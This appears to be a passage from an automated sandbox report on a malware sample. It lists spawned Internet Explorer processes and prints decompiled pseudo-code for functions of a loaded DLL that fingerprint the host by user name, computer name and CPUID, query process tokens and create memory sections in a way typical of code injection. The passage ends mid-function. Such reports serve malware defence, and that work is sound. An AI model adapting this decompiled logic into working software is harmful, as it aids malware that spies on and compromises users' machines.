Imagebase:	0x10d0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5184 Parent PID: 792

General

Start time:	09:56:43
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff674450000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5216 Parent PID: 5184

General

Start time:	09:56:44
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5184 CREDAT:17410 /prefetch:2
Imagebase:	0xc0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 3440 Parent PID: 5184

General

Start time:	09:56:45
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5184 CREDAT:82948 /prefetch:2
Imagebase:	0xc0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: iexplore.exe PID: 5340 Parent PID: 792

General

Start time:	09:57:20
Start date:	06/04/2021
Path:	C:\Program Files\internet explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x7ff674450000
File size:	823560 bytes
MD5 hash:	6465CB92B25A7BC1DF8E01D8AC5E7596
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 3228 Parent PID: 5340

General

Start time:	09:57:21
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17410 /prefetch:2
Imagebase:	0xc0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: iexplore.exe PID: 3708 Parent PID: 5340

General

Start time:	09:57:22
Start date:	06/04/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5340 CREDAT:17414 /prefetch:2
Imagebase:	0xc0000
File size:	822536 bytes
MD5 hash:	071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6356 Parent PID: 5588 loaddll32.exeCOMMON

Executed Functions

Function 017312D4, Relevance: 34.7, APIs: 23, Instructions: 222
memoryfiletimeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E017312D4(signed char* __eax, intOrPtr* _a4) {
				signed int _v12;
				void* _v16;
				CHAR* _v20;
				struct _FILETIME _v28;
				void* _v32;
				void* _v36;
				char* _v40;
				signed int _v44;
				long _v344;
				struct _WIN32_FIND_DATAA _v368;
				signed int _t72;
				void* _t74;
				signed int _t76;
				void* _t78;
				intOrPtr _t81;
				CHAR* _t83;
				void* _t85;
				signed char _t89;
				signed char _t91;
				intOrPtr _t93;
				void* _t96;
				long _t99;
				int _t101;
				signed int _t109;
				char* _t111;
				void* _t113;
				int _t119;
				char _t128;
				void* _t134;
				signed int _t136;
				char* _t139;
				signed int _t140;
				char* _t141;
				char* _t146;
				signed char* _t148;
				int _t151;
				void* _t152;
				void* _t153;
				void* _t154;
				void* _t165;

				_v12 = _v12 & 0x00000000;
				_t148 = __eax;
				_t72 =  *0x173d278; // 0x63699bc3
				_t74 = RtlAllocateHeap( *0x173d238, 0, _t72 ^ 0x63699ac7);
				_v20 = _t74;
				if(_t74 == 0) {
					L36:
					return _v12;
				}
				_t76 =  *0x173d278; // 0x63699bc3
				_t78 = RtlAllocateHeap( *0x173d238, 0, _t76 ^ 0x63699bce);
				_t146 = 0;
				_v36 = _t78;
				if(_t78 == 0) {
					L35:
					HeapFree( *0x173d238, _t146, _v20);
					goto L36;
				}
				_t136 =  *0x173d278; // 0x63699bc3
				memset(_t78, 0, _t136 ^ 0x63699bce);
				_t81 =  *0x173d27c; // 0x268a5a8
				_t154 = _t153 + 0xc;
				_t5 = _t81 + 0x173e7f2; // 0x73797325
				_t83 = E017395B1(_t5);
				_v20 = _t83;
				if(_t83 == 0) {
					L34:
					HeapFree( *0x173d238, _t146, _v36);
					goto L35;
				}
				_t134 = 0xffffffffffffffff;
				_v28.dwLowDateTime = 0x63699bce;
				_v28.dwHighDateTime = 0x63699bce;
				_t85 = CreateFileA(_t83, 0x80000000, 1, 0, 3, 0x80, 0); // executed
				_v32 = _t85;
				if(_t85 != 0x63699bce) {
					GetFileTime(_t85,  &_v28, 0, 0);
					_v28.dwLowDateTime = _v28.dwLowDateTime + 0x2a69c000;
					asm("adc dword [ebp-0x14], 0xc9"); // executed
					FindCloseChangeNotification(_v32); // executed
				}
				 *(StrRChrA(_v20, _t146, 0x5c)) = 0;
				_t89 = 0x3c6ef35f +  *_t148 * 0x19660d;
				_t91 = 0x3c6ef35f + _t89 * 0x19660d;
				 *_t148 = _t91;
				_v32 = _t91 & 0x000000ff;
				_t93 =  *0x173d27c; // 0x268a5a8
				_t16 = _t93 + 0x173e813; // 0x642e2a5c
				_v40 = _t146;
				_v44 = _t89 & 0x000000ff;
				__imp__(_v20, _t16);
				_t96 = FindFirstFileA(_v20,  &_v368); // executed
				_v16 = _t96;
				if(_t96 == _t134) {
					_t146 = 0;
					goto L34;
				}
				_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				while(_t99 > 0) {
					_t101 = FindNextFileA(_v16,  &_v368); // executed
					if(_t101 == 0) {
						FindClose(_v16);
						_v16 = FindFirstFileA(_v20,  &_v368);
						_v28.dwHighDateTime = _v344;
						_v28.dwLowDateTime = _v368.ftLastWriteTime.dwLowDateTime;
					}
					_t99 = CompareFileTime( &(_v368.ftLastWriteTime),  &_v28);
				}
				_v12 = _v12 & 0x00000000;
				while(1) {
					_t109 = _v44;
					if(_v12 <= _t109) {
						goto L15;
					}
					_t140 = _v12;
					if(_t140 > _v32) {
						_t141 = _v36;
						 *_a4 = _t141;
						while(1) {
							_t128 =  *_t141;
							if(_t128 == 0) {
								break;
							}
							if(_t128 < 0x30) {
								 *_t141 = _t128 + 0x20;
							}
							_t141 = _t141 + 1;
						}
						_v12 = 1;
						FindClose(_v16); // executed
						_t146 = 0;
						goto L35;
					}
					_t165 = _t140 - _t109;
					L15:
					if(_t165 == 0 || _v12 == _v32) {
						_t111 = StrChrA( &(_v368.cFileName), 0x2e);
						_t139 = _v40;
						_t151 = _t111 -  &(_v368.cFileName);
						_t113 = 0;
						if(_t139 != 0) {
							_t48 = _t151 - 4; // -4
							_t113 = _t48;
							if(_t113 > _t151) {
								_t113 = 0;
							}
						}
						if(_t151 > 4) {
							_t151 = 4;
						}
						memcpy(_v36 + _t139, _t152 + _t113 - 0x140, _t151);
						_t154 = _t154 + 0xc;
						_v40 =  &(_v40[_t151]);
					}
					do {
						_t119 = FindNextFileA(_v16,  &_v368); // executed
						if(_t119 == 0) {
							FindClose(_v16);
							_v16 = FindFirstFileA(_v20,  &_v368);
						}
					} while (CompareFileTime( &(_v368.ftLastWriteTime),  &_v28) > 0);
					_v12 = _v12 + 1;
				}
			}

0x017312dd
0x017312e3
0x017312e5
0x017312ff
0x01731303
0x01731306
0x0173157b
0x01731582
0x01731582
0x0173130c
0x01731321
0x01731323
0x01731327
0x0173132a
0x0173156b
0x01731575
0x00000000
0x01731575
0x01731330
0x0173133b
0x01731340
0x01731345
0x01731348
0x0173134f
0x01731356
0x01731359
0x0173155b
0x01731565
0x00000000
0x01731565
0x0173136f
0x01731373
0x01731376
0x01731379
0x01731381
0x01731384
0x0173138d
0x01731393
0x0173139d
0x017313a4
0x017313a4
0x017313b6
0x017313c1
0x017313cf
0x017313d4
0x017313d9
0x017313dc
0x017313e1
0x017313eb
0x017313ee
0x017313f1
0x01731407
0x0173140b
0x0173140e
0x01731559
0x00000000
0x01731559
0x01731425
0x01731476
0x01731439
0x01731441
0x01731446
0x01731454
0x0173145d
0x01731466
0x01731466
0x01731474
0x01731474
0x0173147a
0x0173147e
0x0173147e
0x01731484
0x00000000
0x00000000
0x01731486
0x0173148c
0x01731533
0x01731536
0x01731543
0x01731543
0x01731547
0x00000000
0x00000000
0x0173153c
0x01731540
0x01731540
0x01731542
0x01731542
0x0173154c
0x01731553
0x01731555
0x00000000
0x01731555
0x01731492
0x01731494
0x01731494
0x017314a7
0x017314ad
0x017314b8
0x017314ba
0x017314be
0x017314c0
0x017314c0
0x017314c5
0x017314c7
0x017314c7
0x017314c5
0x017314cc
0x017314d0
0x017314d0
0x017314e0
0x017314e5
0x017314e8
0x017314e8
0x017314eb
0x017314f5
0x017314fd
0x01731502
0x01731510
0x01731510
0x01731524
0x01731528
0x01731528

APIs

RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 017312FF
RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 01731321
memset.NTDLL ref: 0173133B

Part of subcall function 017395B1: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,017323E9,63699BCE,01731354,73797325), ref: 017395C2
Part of subcall function 017395B1: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 017395DC

CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 01731379
GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 0173138D
FindCloseChangeNotification.KERNELBASE(00000000), ref: 017313A4
StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 017313B0
lstrcat.KERNEL32(?,642E2A5C), ref: 017313F1
FindFirstFileA.KERNELBASE(?,?), ref: 01731407
CompareFileTime.KERNEL32(?,?), ref: 01731425
FindNextFileA.KERNELBASE(017396C1,?), ref: 01731439
FindClose.KERNEL32(017396C1), ref: 01731446
FindFirstFileA.KERNEL32(?,?), ref: 01731452
CompareFileTime.KERNEL32(?,?), ref: 01731474
StrChrA.SHLWAPI(?,0000002E), ref: 017314A7
memcpy.NTDLL(00000000,?,00000000), ref: 017314E0
FindNextFileA.KERNELBASE(017396C1,?), ref: 017314F5
FindClose.KERNEL32(017396C1), ref: 01731502
FindFirstFileA.KERNEL32(?,?), ref: 0173150E
CompareFileTime.KERNEL32(?,?), ref: 0173151E
FindClose.KERNELBASE(017396C1), ref: 01731553
HeapFree.KERNEL32(00000000,00000000,73797325), ref: 01731565
HeapFree.KERNEL32(00000000,?), ref: 01731575

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$Find$CloseHeapTime$CompareFirst$AllocateEnvironmentExpandFreeNextStrings$ChangeCreateNotificationlstrcatmemcpymemset
String ID:
API String ID: 2944988578-0
Opcode ID: e732f5b3c1f71c1017a7369f78db92642b5a9b6643c4a13b4bb79ea6168f4ff7
Instruction ID: 360ebdb590dfc1f3041142ec0d744e4eb5d2f223d69ead706956dee3b125a3e7
Opcode Fuzzy Hash: e732f5b3c1f71c1017a7369f78db92642b5a9b6643c4a13b4bb79ea6168f4ff7
Instruction Fuzzy Hash: BF816AB2D00119AFDF21CFA9DC84AEEFBB9FB88311F544166E505E6251D7319A44CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1000102F, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E1000102F(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L10002100();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x10004150;
				_push(_t15 + 0x1000505e);
				_push(_t15 + 0x10005054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L100020FA();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x10004140, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x1000102f
0x10001038
0x1000103c
0x10001042
0x10001047
0x1000104c
0x1000104f
0x10001052
0x10001057
0x10001058
0x1000105b
0x10001066
0x1000106d
0x10001071
0x10001073
0x10001074
0x10001077
0x1000107c
0x10001086
0x10001088
0x10001088
0x1000109c
0x100010a2
0x100010a6
0x100010f6
0x100010a8
0x100010b1
0x100010c7
0x100010cf
0x100010e1
0x100010e5
0x00000000
0x00000000
0x100010d1
0x100010d4
0x100010d9
0x100010db
0x100010db
0x100010bc
0x100010be
0x100010e7
0x100010e8
0x100010e8
0x100010b1
0x100010fe

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 1000103C
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001052
_snwprintf.NTDLL ref: 10001077
CreateFileMappingW.KERNELBASE(000000FF,10004140,00000004,00000000,?,?), ref: 1000109C
GetLastError.KERNEL32 ref: 100010B3
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 100010C7
GetLastError.KERNEL32 ref: 100010DF
CloseHandle.KERNEL32(00000000), ref: 100010E8
GetLastError.KERNEL32 ref: 100010F0

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction ID: fd2cfec1e864bf63db9aaa2ee4e5368c07c46789b5c4626883214d07a46f71c5
Opcode Fuzzy Hash: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction Fuzzy Hash: 6821CFB2500258BFE721EFA8CCC4EDE77ADEB483D0F118136F615D7159DAB099858BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0173269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0173269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x173d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E01736B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x173d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x173d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E01732496(_v8 + _v8, _t63);
							}
							HeapFree( *0x173d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x173d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E01732496(_v8 + _v8, _t63);
						}
						HeapFree( *0x173d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x0173269c
0x017326a4
0x017326aa
0x017326ad
0x017326b0
0x017326b2
0x017326b7
0x017326b7
0x017326bd
0x017326bf
0x017326cc
0x0173272d
0x017326ce
0x017326d3
0x017326d9
0x017326de
0x017326ec
0x017326f0
0x017326ff
0x01732706
0x0173270d
0x0173270d
0x01732718
0x01732718
0x017326f0
0x017326de
0x0173272f
0x01732735
0x0173273f
0x01732741
0x01732746
0x01732755
0x01732759
0x01732764
0x0173276b
0x01732772
0x01732772
0x0173277e
0x0173277e
0x01732759
0x01732787
0x01732789
0x0173278c
0x0173278e
0x01732791
0x01732794
0x0173279e
0x017327a2
0x017327a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 017326D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 017326EA
GetUserNameW.ADVAPI32(00000000,?), ref: 017326F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,017323D9), ref: 01732718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 0173273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 01732753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 01732760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,017323D9), ref: 0173277E

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: ec576e9d3df10303ee3c51c483b8efcfd9503c409c425fab9e0c19f9d1f1d00f
Instruction ID: cc86601859e8304531c7e26a8b5963dbc3935fa387eb6a6d59382139267cf931
Opcode Fuzzy Hash: ec576e9d3df10303ee3c51c483b8efcfd9503c409c425fab9e0c19f9d1f1d00f
Instruction Fuzzy Hash: 10313072600209EFDB22DFA9DC81A6EF7F9FF84261F608029E505D7216DB70DD419B11

Uniqueness

Uniqueness Score: -1.00%

Function 017383B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E017383B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E01732049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E01739039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x017383c4
0x017383c5
0x017383c6
0x017383c7
0x017383c8
0x017383cc
0x017383d3
0x017383e2
0x017383e5
0x017383e8
0x017383ef
0x017383f2
0x017383f5
0x017383f8
0x017383fb
0x01738406
0x01738408
0x01738411
0x01738419
0x0173841b
0x0173842d
0x01738437
0x0173843b
0x0173844a
0x0173844e
0x01738457
0x0173845f
0x0173845f
0x01738461
0x01738461
0x01738469
0x0173846f
0x01738473
0x01738473
0x0173847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 017383FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 01738411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0173842D

Part of subcall function 01732049: RtlAllocateHeap.NTDLL(00000000,00000000,01737E50), ref: 01732055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0173844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 01738457
NtClose.NTDLL(?), ref: 01738469
NtClose.NTDLL(00000000), ref: 01738473

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 981de392e3310139090d768e82c680b7fd204bfb88c6a1fb698ea47066596501
Instruction ID: b75e6f3473b69669b90bda6eb66fddd33f7d44c9529c8b12a836ace7c41e9996
Opcode Fuzzy Hash: 981de392e3310139090d768e82c680b7fd204bfb88c6a1fb698ea47066596501
Instruction Fuzzy Hash: 812116B2900229BBDB119F95CC85ADEBFBDEF58750F108026FA00F6115D7719A449BA1

Uniqueness

Uniqueness Score: -1.00%

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E10001EB5(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E10001D9F(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x10001ebe
0x10001ec5
0x10001ec6
0x10001ec7
0x10001ec8
0x10001ec9
0x10001eda
0x10001ede
0x10001ef2
0x10001ef5
0x10001ef8
0x10001eff
0x10001f02
0x10001f09
0x10001f0c
0x10001f0f
0x10001f12
0x10001f17
0x10001f52
0x10001f19
0x10001f1c
0x10001f22
0x10001f27
0x10001f2b
0x10001f49
0x10001f2d
0x10001f34
0x10001f42
0x10001f42
0x10001f2b
0x10001f5a

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,75144EE0,00000000,00000000,?), ref: 10001F12

Part of subcall function 10001D9F: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

memset.NTDLL ref: 10001F34

Strings

@, xrefs: 10001F02

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction ID: 22cae9f40a45f0817b401b8017966300679b6c07c9eb41be9fd604c10ac2f23b
Opcode Fuzzy Hash: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction Fuzzy Hash: 4821D8B6D00209AFDB11DFA9C8849EEFBB9EB48354F10447AE615F7210D735AA498B60

Uniqueness

Uniqueness Score: -1.00%

Function 016C348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E016C348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
